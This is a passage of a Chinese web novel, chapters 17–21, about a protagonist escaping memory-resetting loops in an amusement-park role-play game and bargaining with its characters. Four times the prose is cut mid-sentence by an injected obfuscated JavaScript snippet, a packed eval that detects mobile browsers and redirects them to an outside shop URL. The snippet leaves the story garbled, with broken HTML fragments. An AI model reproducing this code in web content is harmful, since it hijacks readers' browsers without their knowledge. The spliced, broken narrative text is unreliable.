霜白语定定地看了小女孩一会，视线透过货架格子落向远处，又用了更短的时间将其收回，最后他耸肩妥协，同意了对方的请求。 “好吧，只能拿一颗。” 霜白语取下放在货架上边数过来第二层的糖果盒，小心地将其掰开，五颜六色糖纸包裹着的水果硬糖塞满了整个六角盒子，单从数量上看，拿出一小颗确实不会被看出异常，没有人会无聊到数这种再普通不过的糖果还剩下多少。 “喏，给你。” 小女孩弯起唇角，愉快地伸手去接。她说：“谢谢哥哥。” “等等——”不远处响起谁变调的尖叫。 变故在那一刻横生，捏着糖果包装纸一段的两根手指向上一抬，即将接住的糖果就这么擦着小女孩的手过去，她落了空，但霜白语没有。 递糖果就是个虚晃的假动作，他最开始的目标便是这个哪哪都不太对劲的小孩子，且不说他之前的记忆乱七八糟，像是被谁开颅分类过、还变态地分错了的那种，在这个谁都看起来忙得要死的地方，突然冒出个小孩子添乱。 别管她目的是什么，打搅人工作的都需要被拉出去挂路灯。 霜白语这次出手没留情面，直接下的死手，他有种强烈的不安，如果一击没中，再想成功会很困难。但很可惜，幸运女神似乎很久以前便抛弃了他。 被百分百接住任何时刻向着任意对象发起的第一招。 “太可惜了，哥哥，你意识到得还不够快。” 短短不过两三秒时间，在女孩说话的间隙，她的身形迅速发生着变化。本就浅淡的发色逐渐褪至更为纯粹的白，骨骼抽条拔高最终定格成了少女的形象，她此刻顶着的皮囊很眼熟，是索尔卡特。 “没拿到糖果会让事件不致于陷入无可转圜的地步，是个不错的想法，或许吧。但实际上，这次违反的规则不是这一点。” 索尔卡特好心情地跟青年解释。 霜白语眼角余光瞥见了几息之外的哲平，刚刚那声惊叫就是由他发出的，此刻他被隔绝于屏障之外，处于完全静止的状态，不止是他，这个空间除却霜白语和索尔卡特，所有人都被按下了休止符，维持着定格瞬间的状态，被停住了时间。 “你该想到的，工作场合出现无关人等，我们首先要做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405195|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是什么？” 白毛即答：“是无视。” 霜白语：“把人轰出去。” 索尔卡特自问自答的愉悦表情凝固了一瞬，她拉平了嘴角，下压着眼睑，不大高兴地指责青年，“哥哥，你这也太冷漠了点。” 霜白语不为所动，心底甚至开始冷笑，多客气啊，都想要他命了，他还得给人好脸色看，本来就想着放松心情偏偏还要工作，提起就烦。 “好啦，温馨提示就到这里。”索尔卡特撤回手，十指指腹相对贴合在一起作塔尖状，她边后退边说出那句象征性的话术，“可惜的是，哥哥你在重启后不会记得任何一点，哪怕我亲口说出了事实的真相。” 她的话音落下，外面所有被定格的人或物都在瞬间如同开裂的镜面，裂纹一息扩大崩坏，整个空间顷刻间碎成齑粉。 霜白语再次拥抱死亡。 超乎往常的死寂和黑暗包围着他。霜白语紧闭着双眼，他感觉自己在无止境地向下坠落。 “……醒醒。” 距离遥远听不清楚的声音，隔着一层厚实的屏障，滞缓了好几秒后才勉强落进耳中，又或许它单纯的缺少声音传播的媒介。 霜白语费劲地睁开双眼，白色的连串气泡在动作间升腾而起，他置身于真切的幻觉之中，无法阻止的下坠还在继续，他睁着眼，看波澜的光线在越来越远的浅海区域浮动。 “喂，醒醒。”那个声音继续在说着。 有点耳熟，霜白语想。 “别逼我扇你啊！不对，这时候是不是要改成口对口接触啊，人工呼吸似乎比暴力更有用点，啊啊啊啊葵你打我干嘛！” 唔。想起来了。 霜白语眼皮微动，缓缓睁开双眼。 “诶你可总算醒了！” 哲平激动的语调中夹杂着一点本人都没察觉到的遗憾，“我说你没事给我塞纸条干嘛，还画满了诡异的符号，不知道的还以为你咒我呢。” 刚坐起身的霜白语一愣，原本还有些飘忽不定的视线陡然一凝，直白地落在哲平身上。 “怎么了，你这好像完全失忆的反应是几个意思，我确实有很短暂的蛐蛐过你，但你也吓过我了，在我这算是扯平了。你可别突然这样的又吓我啊！” 哲平凑到霜白语跟前，仔细观察着对方，确定了人这反应不是作伪，那个瞬间，哲平的表情一片空白，完美诠释了什么叫作晴空霹雳。 “来真的啊霜羽，你忘了吗？这个纸条是你不久前——我们六个在困倦懈怠又爱抱怨的少年带领下分了两波走，葵他们有事耽搁了，我们先到的——结果没等那人给我们安排工作，你不由分说地塞我一纸条，塞完就跑啊！我从没见过人能跑那么快，余光刚瞥见一点什么动静，转头只来得及看见拐角处一片即将消失的衣角。” 霜白语撑着脸颊，完全没掩饰面上的疲惫，哲平的声音渐渐落下去，但针刺般的疼痛并没有从他脑子里散去。 他感觉有谁在肆意翻搅着他的脑浆，把不属于他的记忆硬塞给他，同时把原本属于他的经历完完本本的抹去。 可怕的是，霜白语清楚这一点，却无法确认被抹去的真相到底是什么。 18. 幕后推手 “纸条给我。” 霜白语强忍着不适，让哲平把鬼画符纸片拿出来。 “哦哦，给。”像是为了证明自己所言非虚，哲平先是展开了纸条摊平递到了霜白语眼前，再塞的他手里。 “绝对没有任何夸饰的成分在。” 面积不算大的碎纸片上寥寥勾勒着几笔，能看出当时准备的匆忙。 确实是他惯用的走笔方式，当然最关键的还是上面残留的气息，是他独一无二的手笔，不存在有谁冒充的可能。 但是没有，霜白语确信自己毫无哲平口中的这一段记忆。 “你真不记得了？不应该啊，我们认识后到现在，这一路并没有分开过。” 哲平从文组队开始讲起，索尔卡特、那个少年的出现，这些和霜白语印象中的一致，区别在于哲平和葵的版本里一直都是埃斯特带领他们来到的这片区域，不存在什么小女孩先出现刻意将他们的队伍拆散。 “那问题果然是出在你身上吧。”哲平右手握拳敲击左手掌心，“我和葵的记忆相同，不存在有人同时改变两个人的认知。” “或许吧。” 霜白语淡淡地回应，他在代入思考当时自己的想法，把纸条塞给哲平不是为了要求对方做些什么，毕竟像现在这样探究到底谁不对的话题对解决问题没有任何帮助。 更像是提醒，有记忆修改这回事。 “对于这个游乐场的人物本项目，你们现在是怎么想的？” “进度停滞不前。” 始终静默站在不远处的葵加入了对话，他说话时并未将目光落到这边，而是观察着周围。 眼前的一砖一瓦都很真实，无法从表面查探到丝毫端倪。 但显然，光是从人物本自身出发，即便剧情发展需要角色来牵头，也并非单纯回合制的你方唱罢我登场。 “刻意。” 细想那两人出现后的共同点，一味地把他们带向新的地点，除此之外没有任何发展。 “最关键的一点，对各自的经历存在认知差。” 单独一人很难察觉到这一事实，如果有外力针对干扰，霜白语被抹除了某一段记忆，那他永远不可能凭借自己意识到被动过手脚这点。 但破局方法其实很简单——人为增加人数差，纵使仍然无法确切知晓丢失的具体内容，合在一起拼凑出认知差异本身就行。 “啊！”哲平冷不丁一声惊叫，反应过来立马先自己捂嘴，他控制音量地问同伴，“说起来啊葵，你那句‘别多想’是几个意思。” 刚说完这话，哲平突然愣在原地，表现得像是当代青年人那点可怜的记忆能力，前一秒要做的事情转个身就忘了。他频繁地眨眼，对面前两人同时看向他的行为不解。 “怎么了这么看着我。” 葵没废话，直接拿出了他自己的手机查看已发送的短信，感觉他没有谨慎到设置阅后即焚的功能，发件箱里确实躺着这么一条短信，发出的时间正在不久前。 那么问题来了，如果他跟哲平始终待在一起没有长时间的分开过，不需要刻意发这样的消息提醒，葵目前的记忆中，确实在埃斯特的带领下，他、文还有如音晚了一会出现，但当时的状态全无印象。 更确切的说，对此本身只拥有了这个结论式的判定，人要是不刻意记录，是想不起三天前的早上具体吃了什么的，他的记性再怎么糟糕，也不至于连个把小时前做过的事都记不住。 比起经历，‘他们在埃斯特抱怨着和先行几步的另外三人汇合’这件事更像是一个强加过来的认知。 目前看来，这种修正只针对他们的认知，借由外物留下的痕迹不会消失或扭曲。 霜白语开口，“我有个初步的想法，不保证一定可行，尝试印证下我对这个本的判断。” 外力更改他们记忆出于什么目的，或者换句话说，什么条件会触发被动遗忘。 既然每次异变源头都在‘人物’登场后不久，那他们可以顺着从这角度入手，主动引着人出现，继而无视对方的出现，当人物本缺失了人物，剧情是会自己修正还是出现新的转机。 霜白语直接就地取材，举着鸡毛掸子扫木架上并不存在的灰尘。葵跟哲平去了别的地方，保险起见，鸡蛋还是不要放在同一个篮子里。 “哥哥。” 似曾相识的称呼，霜白语表面不动声色，内心忍不住狠狠皱眉，总感觉他快对这个称呼应激了，明明再寻常不过的称谓，怎么经由人念出来别扭至极。 霜白语聋了，他没听见。面前的木架子好像不止是个普通的木架，那上面大概堆积了如山的尘埃，需要他一秒不停歇地工作，才能在下班的点准时离开。 旁边的小女孩咬了会下唇，不信邪地又叫了一声。 很好，他确实没听见。 女孩往前走过两步，扒拉住木架的中间偏下一层，几乎是直面向霜白语的位置。 她在观察。霜白语意识到这一点。 听觉是五感中唯一一项无法靠主观意志阻断的感知，同时也让旁人难以辨别到底有没有在听。其他感知能主动切断，意味着能通过仔细的观察瞧出端倪。 霜白语在小女孩差不多快挨着自己的那一刻，脚下动作，故意直面向对方，以他行动的路径看，两人避无可避决定会达成对视。 小女孩好心情地弯起嘴角，等待着霜白语看见自己。就算装得再像，本能是很难控制的。 眼球不自然的转动，如实对视网膜上落成的影像做出反应。 可惜的是，她的期望落空了。 霜白语确实将目光落在了她身上，但没有停留，像是空无一物地挪开了眼，看过来的视线直直穿透了她站立的位置。 怎么可能？小女孩诧异地看向霜白语，身体比意识更快地行动，她手指间夹着薄薄的一幅刀片，捏着一端直刺向青年。 一瞬的应激反应就好。 刀尖在距离霜白语毫厘的地方停住了，倒不是小女孩手下留情，而是又一次被霜白语很巧妙地躲避了过去。 他很自然地拿着那该死的工具，往另一边的货架过去了。 游戏最重要的公平机制，可以从外面调整，但在内部，它确实是绝对平衡的。这也是为什么，一旦霜白语将无视进行到底，她就无法推进对话。 设定里的固定npc只有在玩家选择搭话时才能透露更多的信息。 看来大体和他想象的一样。 霜白语走到了货架的另一侧，小女孩并没有继续跟过来，她的活动区域应该受到一定限制，特殊的场合和对话下能激活，其余时候只能眼巴巴地瞧着，哪怕知道霜白语他是装的，也不能做些什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405196|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 假设人物本修改记忆出于他们做出了错误的判断，实际要寻找的人物本身已经不再是小孩子的模样，因为没有更多信息，无法确认他们进入的时间点具体是哪个阶段，但不排除时间往前推进时，她们的年龄会相应的增长——类似各大app填写的资料里，年龄那一栏会自动增加。 人物本体没发生任何改变，除了年龄。 但偏偏年龄跟时间挂钩，最具有操作性。 在正向的时间轴上跟一个不等值的个体对话会发生什么？ 无论霜白语根据她的话语做出哪种选择都是错误的，因为她本不该存在，不该以最初的年龄存在于正向走过了好几年的当下。 只有彻底无视才是正解，无视一个本来就不存在的人物，形成时间轴闭环。 一切不攻自破。 “成功了！” 随着小女孩的消失，原先因她出现而形成的特地场景跟着消失。霜白语又回到了先前在的地方，躲在一旁的哲平第一时间出声，彰显他的存在感。 “我刚真替你捏了把汗诶，你是怎么做到完全无视人的啊，连眼睛都不带错开一下的。” 哲平兴冲冲地提问，然后他更快发现自己成为了下一个被无视的人。 霜白语装没听见，不搭理他的感慨，而是跟葵交流着之后的想法。 合着他又成小丑了。哲平无语。 “人物本并没有我们想象的那么复杂不可控，主动权也是可以拿捏在手里的。” “更重要的一点。”霜白语顿了顿，朝边上龇牙咧嘴作搞怪表情的哲平投去一眼。 后者没来得及收，先被葵照着后脑勺又是一拳头。 葵接着霜白语未完的话说：“你先前的猜测正确，小女孩消失但记忆没被动手脚，说明我们现在所处的时间轴并不对应人物本给到我们的时间轴，具体到了什么年龄段不好判定，但至少可以排除八、九岁。” 他想起由自己发出却毫无印象的那条短信，大概率是当时的他得出了错误的结论，直接被剧情杀了，同时为了不让当事人发觉，会自动填充一份新的记忆。 “那么自然而然引出了新的问题，这背后的主体是谁？我指，这种时刻能控制变量的模式，以现在的发展水平恐怕在现实中还做不到。但这点只是我想当然的猜测，真实还有待商榷。” 霜白语垂在身侧的手指轻轻敲击，总感觉还有被遗漏的地方。 葵若有所思地盯着屏幕，从刚才霜白语分析现状时，他就尝试着在手机上主动记录，但并没有成功。 “补充一点，”葵举起空空如也的备忘录，“虽然我们可以借助工具在不同个体间传递信息差，但它不支持任何主观的记录。” 任何。关于现在的处境，之后打算怎么破局，只要是跟剧本相关的内容，都会被不知名的外力直接删除。 霜白语思索片刻，眸光微闪，“那这是不是刚好能说明，确实有人时刻通过某种渠道关注着我们的动向，甚至不在一个维度。” 高高在上地当着幕后推手，看他们因违反规则被一遍遍地抹杀，重启时间。再在他们一头雾水时送来新的线索，让游戏得以继续。 这种恶劣到有几分眼熟的行为，霜白语脑海中渐渐对标一个身影。 那个说着游戏当然得两个人参与才好玩的家伙。 19. 合作愉快 “遗憾的是，关于这点认知并不能靠旁人强行灌输。” 葵在摸清楚刚才无法主动记录的特点后，跟着说出了他已知的信息。 霜白语明显冷了一下，他摸摸鼻尖，对此挺意外的，毕竟不久前他们还对自己又戒备又警惕的，这会却是能直接透露这一点。 像他先前说的，如今这样的局面，单打独斗成功破局的概率很小，霜白语没有强烈的个人英雄主义，虽然他一定程度上确实更爱独自行动，但这都是基于利己性，能合作带来更大的效益，他不会拒绝。 “你你你，把我们当什么人了！”哲平急头白脸肢体语言丰富，说话的同时八百个小动作，“都冒险告知我们这么重要的信息了，当然礼尚往来，双赢最重要啊，不止要通关，更重要的是不欠人情。” 在他的家乡，一旦发生交互意味着彼此间存在着肉眼看不见的‘线’，它会随着交往程度的逐渐加深而变化，越相处周身缠绕的线就越繁密。除却本身亲密的人之间构成的千丝万缕扯不断的线，点头之交的线很浅很直，有往来不是朋友关系、但因为存在物质或者情感上的纠葛，他们身上缠着的线会随着时间的推进不断加深，直到所欠之物得以还清。 而现在哲平他们和霜白语的关系就是最后一种。 暂时的合作关系，由于性格和经历的差异，彼此并不适合做朋友，这种时候，主动在可控的范围内将‘线’维持在随时可斩断的程度，是最好的选择。 哲平的镜片微微反光，从霜白语这角度看来还挺有高深莫测那么回事。 “刚才的信息是从其他队友那边得出来的吗？” 霜白语此前被唤醒时，身边只有哲平和葵。 作为一直在强调着优先合作的小队队长，文肯定不会在这么短的时间内改变想法，那只可能是他们出于某种原因被分开了。 “不久前在群里发了消息，如音和她男友并不认可关于年龄的推断，这是说出后面情报的前提，如果他们连这个都不愿相信，后面的话透露了也没有任何意义。” “这听起来，文信了但是有别的顾虑？” 葵难得无言地盯了眼霜白语。 “……文叛变了。” 霜白语：“？” 稍等一下，这消息放在最后说真没问题吗？ “怎么回事？” 霜白语有些头疼地揉着太阳穴，他甚至怀疑是不是在不知道的时间节点，他又被强制重启了一遍时间，怎么感觉错过了很多信息，完全跟不上节奏了。 怎么就原本各自行动的临时队友达成了合作，一直在努力维持队伍和谐的队长先转移阵营了。 这算什么？房主离开队伍，顺位队友自动升级成为新房主吗？ 葵并未解释，直接将消息转发给霜白语。 他手机提示音叮叮咚咚响了有一会，满脸黑线地捞手机的同时在心底狠狠吐槽葵，这消息是烫嘴还是什么，没法直接口述必须借助聊天工具？ 社交精力条这么浅啊。 霜白语不确定地往人头顶上瞄了一眼，确信没出现红蓝条，他的目光转回面前的手机屏幕，迅速翻了遍葵转发过来的内容。 是这样的，文是两分钟前叛变的，差不多在他们聊着没法主动告知队友，只能靠自我意识到时，这点判定才会变为公认的现实那会。 不过霜白语有别的看法。 在确定了这一切的背后有凛华在搞鬼后，他回顾着这个人物本开启后的所有细节。 文出现的时机太巧合了，或者说在霜白语注意到对方存在的时间点，拿捏得太精准了。 霜白语当时的状态并不对劲，如果没人出声打断他可以在第一时间注意到，在拿过票的那一刻往前的记忆，是一片空白。 但因为文很简单很寻常地开了口，霜白语顺其自然没有深思，接续着上一秒的动作，按部就班往进口处去。 那之后更是顺理成章，一切都按着对方的步调走。 ——比起叛变反水，霜白语觉得，文从一开始就没站在他们这一边。 “接下来是什么打算？” 手头有情报还不够，要了解机制才能成功破局。 霜白语并不认为凛华和剧本中的双胞胎姐妹利益一致，表面上看，凛华利用了玩家认错角色真正年龄会被剧情杀这点，一遍遍让他们经历死亡，混淆真假虚实的界限。 这点和体验计划的初衷很像。 等等！ 霜白语突然想到了一点，最开始碰到索尔卡特，她是提到过的，‘本场互动式体验计划’。 他原本以为对方只是在单纯地欢迎他们进入到角色扮演本，毕竟扮演意味着无限淡化自己本来的身份，全身心投入到拿取的角色。 但如果…… 霜白语想到一种可能，他感到后背发凉，浑身的汗毛有一瞬倒竖，要是那个天杀的体验计划不知他一个倒霉蛋呢！ 那索尔卡特提到这话的意味就深长了。 首先排除对方打算和他相认这点，索尔卡特绝不是友方，在她说出这句话时，先决条件在于知晓了霜白语并非本世界土著这个信息，但她用这种隐晦又容易造成误解的方式，像是猫戏耍老鼠那样，看着他一无所知地走了很多弯路。 “你们觉得纯粹靠暴力破局的可能有多少？” 霜白语回头，瞧着并不像开玩笑地问在场的两人。 哲平很认真地思考着这点，因为他发现霜羽特别爱用笑嘻嘻的表情说一些很恐怖的提议，往往这时候他的想法就是真的。 “不怎么样。”葵说。 霜白语轻笑着附和了，“确实很一般，倒是有人当真了。” 哲平：？ 啊？不是哥们，他要一直演傻子吗！？ 被在场两个不约而同无视的哲平在背景板里手舞足蹈地殴打空气。 “左右关键都绕不开年龄，果然还是得从年龄入手吗？只要找到这条线正确的时间轴，我们也就算通关了吧？” 霜白语朝人伸出手，“要继续合作吗？” 葵同意了。 “哦对，忘了说明一点，关于我的名字……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405197|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>既然决定了好好合作，霜白语觉得有必要告知对方最起码的信息。 “是假名对吧。”葵并不在意地说。 霜白语弯起双眼，笑得十分自然，“原来你们都知道啊。” “谨慎起见，维持现状是最好的选择，或许你能感觉到一点，和我们有更深层的牵扯并非好事，真正的名字本身会成为牵扯加深的媒介之一。” 这个话题被揭过得很快。 密不透光的室内无法感知时间的流逝，再加上先前时不时因违反规则触发的重启，他们并不知道目前具体是什么节点。 这让找人变得十分困难，尤其是此前无一例外都是索尔卡特等角色主动锁定的他们。 “听说你在到处找我？” 万幸先前的规律还可以延续使用，一筹莫展的时候，那个曾自称是他们指引人的索尔卡特被随机刷新了出来。 “不管是不是吧，总之我来啦，所以呢，找我什么事？” 索尔卡特换了一身休闲装，手里举着一团蓬发很厉害的棉花糖。 “来跟你做交易。”霜白语言简意赅。 索尔卡特咬了口棉花糖，嘴角边缘不可避免被沾染上黏糊的糖浆，但她没着急擦去，只是静静地听着霜白语的提议。 风拂着她纯白的发，在即将沾上嘴边的糖渍前，被索尔卡特一把抓住按到了而后。 “是个不错的想法，”她先是点头，又拒绝得果断，“但对现在的我而言没有任何用处。” 就算霜白语反推出了她也是体验计划的一员，也改变不了一个故事完整发展离不开角色本身这一事实。 “但揪出这个搅局者，至少可以让你走出这里。我们值得做精致的利己主义者。” 霜白语想过，在他们意识到有更高维度的存在时刻操持着发展动向时，并没有迎来新的重启，那是否可以理解成，索尔卡特他们是知道且认可这点的。 因此判定了他们没有违规。实际除去被格外针对的霜白语，其他人没有再像剧情必杀那一次的断片存在。 剧本人物很注重规则——不像凛华那样热爱背后捅刀子——那么相应的，在规则推动下，她最终也会同意帮助霜白语。 索尔卡特停下了，她眯起双眸，朝霜白语斜去一眼，“你要不要听听自己现在在说什么？” “嗯？”霜白语很轻地挤出个拟声词，“他违反了规则不是吗？” 而且不止一次。 霜白语很确信自己现在仍然称不上爽利的状态背后，必定经历了不少于两次的记忆重置。 是凛华先动手为难他的，他不过在履行让宠物乖乖听话的职责。 “好吧，既然你都这么说了，确实没有不容易的理由。” 索尔卡特把不知何时缩水了一圈的棉花糖从左手换到了右手，用空出来的手指向霜白语，“我有必要说明一点，他完全清楚你的动向，你出于这点原因找我帮忙隐藏行踪，我可以办到，但自然是有条件的。” “时间。” “你明白就好，我等你的好消息。” 20. 索敌失败 索尔卡特看似行动自如，但她能来去的自由全依仗于进入这个角色扮演本的游客、或者说玩家，而那些和她一样被困于此的NPC，他们的不同点仅在于索尔卡特拥有相对重要的背景故事，更直白点、她有名字，外来的人员要想过剧情，必须有她参与其中。 而霜白语的提议在这之上更进了一步，他直白坦率，又不乏野心勃勃地跟她透露着这点，既然能获得真正自由的机会在唾手可得的地方，索尔卡特有什么非拒绝不可的理由吗？ 所以她爽快地同意了霜白语的建议。 当然，如果最后他没能完成许诺自己的事，她也不会介意让霜白语真正坐实‘哥哥’这个身份的。 索尔卡特满意地点头，跟聪明人做交易就是愉快，不用解释老半天，对方也能完全跟上步调。 就好比现在，杀意在弯起的眉眼中无声消弭，索尔卡特咬下最后一口棉花糖，手在空中虚晃一枪，棍子直接凭空消失不见。 霜白语读懂了她的言下之意，既然他敢提出跟剧本主角做交易，必然有一定的把握能赢。 至于他们交易的内容。 这里的时间不单单指隐藏行踪的时间有限，更主要的还是霜白语得找出当下所在具体是什么时间轴。 “有件事需要你们帮忙。” 霜白语对着在索尔卡特走后不久，重新碰头的哲平和葵。在更早之前，他们还没那么熟络，霜白语用‘观’洞察周围的时候不小心瞥到了他俩的身体构造——和当时查看人偶结构的形式差不多，他俩周身萦绕有某种不可言说的气息。 唔，怎么形容当时那一瞬给他的感觉呢？ 霜白语要做个不那么恰当的比喻了，简单来说，他俩在一起比较适合当神棍忽悠一般人，对直觉系可能不大好使，但在这人物本里给NPC讲故事绰绰有余。 “讲故事吗？这个我还是相对擅长的。”哲平一听这个提议就来了劲，“不过你确定要我自由发挥？什么样的都可以？” 霜白语点头，目光缓慢地掠过周围景象，索尔卡特离开意味着他们合作开始，她答应自己的已经给到，隔绝窥视的同时意味着他跟时间赛跑。 他一心二用地对哲平说：“都可以，纯粹虚构的或者基于一定现实改编，哪怕你说自己前天午饭吃了几个菜都行。” 重点不是说话的内容，而是在讲故事的人。 霜白语用余光看着兴致盎然的哲平，按照先前葵说与他听的信息，和他们牵扯过深不是多好的选择，真实的名字在某些时候于他们而言，能作为工具使用。那么由他们说出来的话，会不会本身也有灵？ 一方面确实不想有过多的牵涉，但人跟人不断交互必然会让这种势头不可避免地加深，那所以欠一次立马还一次，各自勾销互欠的人情，意味着没有相欠。 哲平单独一人可能会吃亏，但这次有葵待在他旁边，他们这边不出意外的话，一切都会顺利。 有了转移注意的存在，他这边行动起来也不至于束手束脚。 霜白语不怀疑索尔卡特的能力，她说能办到就是可以，身为这个人物本的主角，一方面受限另一方面也同样占有优势。 在跟哲平他们交代完毕后，霜白语迈步向前，转头进了人群之中。 他现在要做的是静候凛华的到来，这么爱强调游戏需要两个人玩，那就进来陪着他一起，隐在幕后当推手算什么公平竞争。 霜白语眸光微暗，配合着周围流动的NPC的步调，眨眼的功夫隐去了自己的身形。 游乐场固定的群众演员们循着既定的方向以相同的步频前行，攒动的人头好似影影绰绰的树叶，一眼望去，分不清谁是谁。 凛华手撑着脸颊，微微挤压变形的脸上不大高兴，明明一直盯着监控画面，但霜白语确实在某一个瞬间失去了行踪，和他最开始做的手法差不多，淡化存在感，而从某种状态中突然脱离时，人处在一种很奇妙的观感之中，无法注意到这之前自己的动向，那是一个无法锁定和回忆的阶段。 问题出现在哪里？ 凛华改变撑脸的姿势，手指轻轻敲击着控制台桌面，一直在边上看他脸色下菜碟的眯眯眼人偶瑟瑟发抖，它非常讨厌眼前这个新主人，看起来很像个欲求不满的人类小屁孩。 想尽办法找到了乐意陪他玩的对象，他不觉得满意，转头把人送走了，刚送走没多久就反悔了，开始隔着屏幕时刻追踪那个存在的动向。 现在好了，不知道对方使了什么手段，把自己气息隐藏了，好么，它这新主人又开始发癫，不是托着脸沉默就是敲桌子发出噪音。 它被来回的噪音琢磨地没脾气了，从控制台边跳下地，吧唧吧唧地走出房间，过了会拿着不知从哪顺来的纸笔，重新跳上桌，它趴在按键边用比笔唰唰地在纸上写字。 写完扯了扯又开始托腮思考的新主人衣袖。 “‘既然纠结怎么不进去’，”凛华读出了纸条上的字，他点点自己，“我纠结？你眼睛要是用来喘气的回头我就给你卸掉。” 人偶害怕，但仍然不解地歪头。 “我们敬爱的霜习老师明摆着挖坑等我跳呢，我这会进去不是正中下怀，况且我也没有加入游戏的必要，这个角色扮演本最终主线就是时间，破解不了这点，他会永远滞留在游戏世界。” 凛华对着人偶一通输出，听起来更像是憋狠了，正巧碰到有东西上赶着当听众，他来者不拒，哪怕这听众压根装不下这么多信息。 “他不知情当然能耗得起，我进去这不是纯粹自讨苦吃吗？我又不傻。” 人偶沉默了一会，在凛华转头重新思考自己的事前，它拿起笔唰唰地又写了几个字。 它：细说不傻。 凛华满是威胁地举起右手作势要抽它，人偶缩起脖子乖乖闭嘴了。 但是话又说回来了，要一直找不到霜白语动向，还真不是办法。 本来这个剧本里就存在无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405198|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被他掌控的主要角色。 凛华之前尝试跟人谈判过，毕竟要在一个不完全由自己控制的地盘上搞事情，跟当地的负责人打招呼挺有必要。 还有个原因是对方的身份和霜白语类似，都属于外来入侵者，但也许是对方的状态和这个游乐场完全绑定，他在权重上压不过对方，外部干涉终究还是太有限。 总不能索尔卡特和霜白语联手了吧。 同性相斥，可能不大。 凛华兀自纠结了有一会，……闭嘴吧他根本没在纠结。 三分钟后，魅魔顶着一张骂骂咧咧的脸，从座位上起身转头往外走，他就不信了，亲自下场还能玩不过霜白语吗！ 冰冷的合金材质阻隔了凛华看向前方的视线，他等待着倒计时结束，闭起双眼，意识随着倒计时清零彻底沉下去。 嘈杂喧闹的人声在耳边响起，凛华睁开了双眼。 “嗨。”青年没多大情绪起伏的招呼声响起。 魅魔的视线向着声源处偏移，视网膜从未像此时此刻般活跃地捕捉成像，他瞧见了正对着自己假笑的他的饲主。 “好久不见了。” 和前一秒没情感的单音节相比，霜白语这一句的每个字眼都透着股咬牙切齿的狠劲。 凛华接受良好，甚至完全预见了这样的结果。 “隐约记得我在出发前跟你提起过。”霜白语用可以叙旧的口吻带起了凛华的一点回忆。 确实有这么回事，对方说过随便他去哪，除了别走到他脸上去。 “我有必要替自己正名，在丢失你行踪前，我有在很好地执行这个约定。这难道不是你违反在先吗？” 霜白语轻飘飘的哦了一声，“这么说还得怪我，难为你特地过来趟，给我一个可以跟你说开这一切的机会。” “以我们两个的关系，倒也不至于这么生分。”凛华一边说一边打量着周围的景象，隔着屏幕看确实和亲自接触不同。 如果说先前霜白语经历的恶意是他在外侧一手促成的，那么现在周围这种无形压着他，让他不得不在这里跟人掰扯半天的氛围，凛华姑且能猜到是谁的手笔。 他这位饲主还真是睚眦必报，受过的委屈是一概不落全要在他身上找回来的。 “这就是你说的那个搅局者？” 索尔卡特的身形在一旁的告示牌边逐渐凝实，她一头凌乱的白毛在空中飘荡而过，像幽灵一样晃到两人面前。 霜白语听她算不上多熟稔也称不上陌生的口吻，问她：“认识？” 索尔卡特唔了声。 “你俩还挺有趣的，一个在事情还未展开前找上我，希望我能把随后进本的一个人永久地留下来。另一个在事情进展过半时也找上我，表示要跟我做交易，合作前提是挖出那个违反规则的人。” 索尔卡特在半空中甩动的手指一顿，语气骤然冷冽下来。 “合着你俩互相使绊子，纯粹拿我当消遣呢？” 21. 突发意外 三人间的气氛一瞬紧绷，维持着表面的平衡，似乎只要有谁动手，目前的假象顷刻间会分崩离析。 对于索尔卡特话中的指向，他真的丝毫不意外。 霜白语没想到能在某天如此平静地接受别人对他展露的杀意了，甚至听说后的第一反应是果然如此。 他不需要啊！这种莫名其妙的熟练。 “这话说得并不对。” 凛华双手交叠环臂抱胸，十分有恃无恐。他清楚索尔卡特动手的前提是违反规则，他这行为虽然不道德，但和主线任务完全不搭边。 